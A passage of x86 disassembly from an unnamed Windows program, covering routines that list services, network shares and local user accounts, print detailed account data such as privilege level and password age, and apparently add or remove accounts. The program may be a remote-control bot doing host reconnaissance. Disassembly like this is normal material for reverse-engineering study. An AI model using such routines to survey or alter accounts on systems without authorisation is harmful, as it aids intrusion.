		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413130:				; CODE XREF: sub_41308E+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413137:				; CODE XREF: sub_41308E+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_41313E:				; CODE XREF: sub_41308E+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413145:				; CODE XREF: sub_41308E+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_41314C:				; CODE XREF: sub_41308E+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_413153:				; CODE XREF: sub_41308E+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41315F
; ---------------------------------------------------------------------------

loc_41315A:				; CODE XREF: sub_41308E+87j
		push	offset aStopped	; "    Stopped"

loc_41315F:				; CODE XREF: sub_41308E+A0j
					; sub_41308E+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_413111

loc_4131AB:				; CODE XREF: sub_41308E+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4130C6

loc_4131B4:				; CODE XREF: sub_41308E+6Cj
		push	[ebp+var_C]
		call	dword_43A29C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41308E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131CB	proc near		; CODE XREF: sub_40CE55:loc_40EE43p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_413264
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4131F4
		dec	eax
		jnz	short loc_413244
		push	edi
		push	0
		call	sub_41339D
		pop	ecx
		pop	ecx
		jmp	short loc_413240
; ---------------------------------------------------------------------------

loc_4131F4:				; CODE XREF: sub_4131CB+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_413232
		push	24h
		push	edi
		call	sub_417080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413232
		push	57h
		pop	eax

loc_41320B:				; CODE XREF: sub_4131CB+77j
		push	eax
		call	sub_413B75
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C5C
		push	off_436628[eax*4]
		push	offset dword_436D34
		push	esi
		call	sub_4154E7
		add	esp, 18h
		jmp	short loc_413284
; ---------------------------------------------------------------------------

loc_413232:				; CODE XREF: sub_4131CB+2Dj
					; sub_4131CB+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4132F1
		add	esp, 0Ch

loc_413240:				; CODE XREF: sub_4131CB+27j
		test	eax, eax
		jnz	short loc_41320B

loc_413244:				; CODE XREF: sub_4131CB+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_468C5C
		push	off_43662C[eax*4]
		push	offset dword_436D04
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_413284
; ---------------------------------------------------------------------------

loc_413264:				; CODE XREF: sub_4131CB+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468C5C
		lea	eax, [eax+eax*2]
		push	off_436628[eax*4]
		push	offset dword_436CCC
		push	esi
		call	sub_4154E7
		add	esp, 0Ch

loc_413284:				; CODE XREF: sub_4131CB+65j
					; sub_4131CB+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4131CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41328A	proc near		; CODE XREF: sub_4146BA+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_413297
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413297:				; CODE XREF: sub_41328A+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_468E5C, 1
		mov	ebp, eax
		jnz	short loc_4132D4
		or	byte_468E5C, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	dword_468BFC, eax

loc_4132D4:				; CODE XREF: sub_41328A+32j
		push	esi
		push	esi
		push	ebp
		push	dword_468BFC
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_468BFC
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_41328A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4132F1	proc near		; CODE XREF: sub_4131CB+6Dp
					; sub_4149DE+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335C
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417080
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_41335C
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43A298
		pop	edi
		leave
		retn
sub_4132F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41335C	proc near		; CODE XREF: sub_4132F1+Ap
					; sub_4132F1+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_413369
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_413369:				; CODE XREF: sub_41335C+9j
		push	ebx
		push	esi
		mov	esi, dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41335C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41339D	proc near		; CODE XREF: sub_4131CB+20p
					; sub_4146BA+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335C
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43A270
		pop	esi
		retn
sub_41339D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133C0	proc near		; CODE XREF: sub_40CE55+201Ap

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_41335C
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 18h

loc_4133F9:				; CODE XREF: sub_4133C0+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43A2E4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_41345C
		cmp	ebx, 0EAh
		jz	short loc_41345C
		push	ebx
		push	ebx
		call	sub_413B75
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436D94
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h
		jmp	short loc_4134C9
; ---------------------------------------------------------------------------

loc_41345C:				; CODE XREF: sub_4133C0+5Dj
					; sub_4133C0+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_4134C0
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_41346A:				; CODE XREF: sub_4133C0+FCj
		push	dword ptr [esi+10h]
		call	dword_43A28C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413481
		mov	eax, offset aNo	; "No"

loc_413481:				; CODE XREF: sub_4133C0+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41346A
		xor	esi, esi

loc_4134C0:				; CODE XREF: sub_4133C0+A2j
		push	[ebp+var_4]
		call	dword_43A428

loc_4134C9:				; CODE XREF: sub_4133C0+9Aj
		cmp	ebx, 0EAh
		jz	loc_4133F9
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4133C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E1	proc near		; CODE XREF: sub_40CE55:loc_40EEE5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_413585
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_413523
		dec	eax
		jz	short loc_413518
		dec	eax
		jnz	short loc_41353E
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_413627
		add	esp, 14h
		jmp	short loc_41353A
; ---------------------------------------------------------------------------

loc_413518:				; CODE XREF: sub_4134E1+1Dj
		push	ebx
		push	edi
		call	sub_413606
		pop	ecx
		pop	ecx
		jmp	short loc_41353A
; ---------------------------------------------------------------------------

loc_413523:				; CODE XREF: sub_4134E1+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_413537
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4135AC
		add	esp, 0Ch
		jmp	short loc_41353A
; ---------------------------------------------------------------------------

loc_413537:				; CODE XREF: sub_4134E1+45j
		push	57h
		pop	eax

loc_41353A:				; CODE XREF: sub_4134E1+35j
					; sub_4134E1+40j ...
		cmp	eax, edi
		jnz	short loc_41355E

loc_41353E:				; CODE XREF: sub_4134E1+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E60
		push	off_43662C[eax*4]
		push	offset dword_436E84
		push	esi
		call	sub_4154E7
		add	esp, 10h
		jmp	short loc_4135A5
; ---------------------------------------------------------------------------

loc_41355E:				; CODE XREF: sub_4134E1+5Bj
		push	eax
		call	sub_413B75
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_468E60
		push	off_436628[eax*4]
		push	offset dword_436E44
		push	esi
		call	sub_4154E7
		add	esp, 18h
		jmp	short loc_4135A5
; ---------------------------------------------------------------------------

loc_413585:				; CODE XREF: sub_4134E1+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_468E60
		lea	eax, [eax+eax*2]
		push	off_436628[eax*4]
		push	offset dword_436E08
		push	esi
		call	sub_4154E7
		add	esp, 0Ch

loc_4135A5:				; CODE XREF: sub_4134E1+7Bj
					; sub_4134E1+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4134E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135AC	proc near		; CODE XREF: sub_4134E1+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_41335C
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_41335C
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43A27C
		pop	edi
		leave
		retn
sub_4135AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413606	proc near		; CODE XREF: sub_4134E1+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41335C
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43A26C
		pop	esi
		retn
sub_413606	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413627	proc near		; CODE XREF: sub_4134E1+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_41335C
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_41335C
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43A3F0
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4139B4
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4139EF
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4154E7
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_413740
		dec	eax
		jz	short loc_413739
		dec	eax
		jz	short loc_413732
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_413745
; ---------------------------------------------------------------------------

loc_413732:				; CODE XREF: sub_413627+102j
		mov	eax, offset aAdministrato_0 ; "Administrator"
		jmp	short loc_413745
; ---------------------------------------------------------------------------

loc_413739:				; CODE XREF: sub_413627+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_413745
; ---------------------------------------------------------------------------

loc_413740:				; CODE XREF: sub_413627+FCj
		mov	eax, offset aGuest ; "Guest"

loc_413745:				; CODE XREF: sub_413627+109j
					; sub_413627+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_412D4C
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4139E0
; ---------------------------------------------------------------------------

loc_4139B4:				; CODE XREF: sub_413627+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_436EB8
		push	eax
		call	sub_4154E7
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_412D4C
		add	esp, 20h

loc_4139E0:				; CODE XREF: sub_413627+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4139EF
		push	[ebp+var_4]
		call	dword_43A428

loc_4139EF:				; CODE XREF: sub_413627+40j
					; sub_413627+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_413627	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139F5	proc near		; CODE XREF: sub_40CE55+20BCp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_41335C
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 18h

loc_413A34:				; CODE XREF: sub_4139F5+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_43A300
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_413A95
		cmp	eax, 0EAh
		jz	short loc_413A95
		push	eax
		push	eax
		call	sub_413B75
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_4370C0
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h
		jmp	short loc_413B10
; ---------------------------------------------------------------------------

loc_413A95:				; CODE XREF: sub_4139F5+62j
					; sub_4139F5+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_413B23
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_413B10

loc_413AA7:				; CODE XREF: sub_4139F5+EDj
		cmp	edi, esi
		jz	short loc_413AE6
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_5	; "  %S"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_413AA7
		jmp	short loc_413B10
; ---------------------------------------------------------------------------

loc_413AE6:				; CODE XREF: sub_4139F5+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_437078
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 1Ch

loc_413B10:				; CODE XREF: sub_4139F5+9Ej
					; sub_4139F5+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_413B23
		push	edi
		call	dword_43A428
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_413B23:				; CODE XREF: sub_4139F5+A5j
					; sub_4139F5+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_413A34
		cmp	edi, esi
		jz	short loc_413B3B
		push	edi
		call	dword_43A428

loc_413B3B:				; CODE XREF: sub_4139F5+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4154E7
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4139F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B75	proc near		; CODE XREF: sub_4131CB+41p
					; sub_4133C0+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_413C27
		jz	loc_413C20
		cmp	eax, 7Bh
		ja	short loc_413BEC
		jz	short loc_413BE2
		cmp	eax, 5
		jz	short loc_413BD8
		cmp	eax, 8
		jz	short loc_413BCE
		cmp	eax, 32h
		jz	short loc_413BC4
		cmp	eax, 35h
		jz	short loc_413BBA
		cmp	eax, 57h
		jnz	loc_413C76
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BBA:				; CODE XREF: sub_413B75+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BC4:				; CODE XREF: sub_413B75+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BCE:				; CODE XREF: sub_413B75+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BD8:				; CODE XREF: sub_413B75+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BE2:				; CODE XREF: sub_413B75+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413C97
; ---------------------------------------------------------------------------

loc_413BEC:				; CODE XREF: sub_413B75+1Aj
		sub	eax, 7Ch
